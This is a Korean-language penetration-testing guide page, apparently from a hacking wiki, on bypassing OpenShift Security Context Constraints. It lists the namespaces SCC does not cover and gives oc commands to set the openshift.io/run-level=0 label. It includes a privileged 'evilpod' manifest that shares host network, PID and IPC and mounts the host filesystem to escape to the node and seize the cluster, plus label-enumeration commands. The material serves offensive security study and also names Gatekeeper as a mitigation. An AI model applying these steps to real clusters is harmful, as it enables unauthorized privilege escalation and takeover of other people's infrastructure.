Openshift - SCC 우회

Reading time: 3 minutes

이 페이지의 원래 저자는 Guillaume입니다.

권한이 있는 네임스페이스

기본적으로 SCC는 다음 프로젝트에 적용되지 않습니다:

  • default
  • kube-system
  • kube-public
  • openshift-node
  • openshift-infra
  • openshift

이 네임스페이스 중 하나에 포드를 배포하면 SCC가 적용되지 않아 권한이 있는 포드를 배포하거나 호스트 파일 시스템을 마운트할 수 있습니다.

네임스페이스 레이블

RedHat 문서에 따르면 포드에서 SCC 적용을 비활성화하는 방법이 있습니다. 다음 권한 중 하나 이상이 필요합니다:

  • 네임스페이스 생성 및 이 네임스페이스에 포드 생성
  • 네임스페이스 편집 및 이 네임스페이스에 포드 생성
bash
$ oc auth can-i create namespaces
yes

$ oc auth can-i patch namespaces
yes

특정 레이블 openshift.io/run-level은 사용자가 애플리케이션에 대한 SCC를 우회할 수 있게 해줍니다. RedHat 문서에 따르면, 이 레이블이 사용될 때 해당 네임스페이스 내의 모든 포드에 대해 SCC가 적용되지 않으며, 사실상 모든 제한이 제거됩니다.

레이블 추가

네임스페이스에 레이블을 추가하려면 :

bash
$ oc label ns MYNAMESPACE openshift.io/run-level=0

YAML 파일을 통해 레이블이 있는 네임스페이스를 생성하려면:

yaml
apiVersion: v1
kind: Namespace
metadata:
name: evil
labels:
openshift.io/run-level: 0

이제 네임스페이스에서 생성된 모든 새로운 팟은 SCC가 없어야 합니다.

$ oc get pod -o yaml | grep 'openshift.io/scc'
$

SCC가 없으면 팟 정의에 대한 제한이 없습니다. 이는 악의적인 팟이 호스트 시스템으로 쉽게 탈출할 수 있음을 의미합니다.

yaml
apiVersion: v1
kind: Pod
metadata:
name: evilpod
labels:
kubernetes.io/hostname: evilpod
spec:
hostNetwork: true #Bind pod network to the host network
hostPID: true #See host processes
hostIPC: true #Access host inter processes
containers:
- name: evil
image: MYIMAGE
imagePullPolicy: IfNotPresent
securityContext:
privileged: true
allowPrivilegeEscalation: true
resources:
limits:
memory: 200Mi
requests:
cpu: 30m
memory: 100Mi
volumeMounts:
- name: hostrootfs
mountPath: /mnt
volumes:
- name: hostrootfs
hostPath:
path:

이제 호스트 시스템에 대한 권한 상승이 더 쉬워졌으며, 그에 따라 전체 클러스터를 장악하고 'cluster-admin' 권한을 얻을 수 있습니다. 다음 페이지에서 Node-Post Exploitation 부분을 찾아보세요:

Attacking Kubernetes from inside a Pod

사용자 정의 레이블

또한, 대상 설정에 따라 일부 사용자 정의 레이블/주석이 이전 공격 시나리오와 동일한 방식으로 사용될 수 있습니다. 비록 의도하지 않았더라도, 레이블은 특정 리소스에 대한 권한을 부여하거나 제한하는 데 사용될 수 있습니다.

리소스를 읽을 수 있다면 사용자 정의 레이블을 찾아보세요. 흥미로운 리소스 목록은 다음과 같습니다:

  • Pod
  • Deployment
  • Namespace
  • Service
  • Route
bash
$ oc get pod -o yaml | grep labels -A 5
$ oc get namespace -o yaml | grep labels -A 5

모든 권한이 있는 네임스페이스 나열

bash
$ oc get project -o yaml | grep 'run-level' -b5

고급 익스플로잇

OpenShift에서는 앞서 설명한 바와 같이, openshift.io/run-level 레이블이 있는 네임스페이스에 포드를 배포할 수 있는 권한이 있으면 클러스터를 간단히 장악할 수 있습니다. 클러스터 설정 관점에서 이 기능은 비활성화할 수 없습니다, 이는 OpenShift의 설계에 내재된 것입니다.

그러나 Open Policy Agent GateKeeper와 같은 완화 조치는 사용자가 이 레이블을 설정하는 것을 방지할 수 있습니다.

GateKeeper의 규칙을 우회하고 이 레이블을 설정하여 클러스터 장악을 실행하려면, 공격자는 대체 방법을 식별해야 합니다.

참고 문헌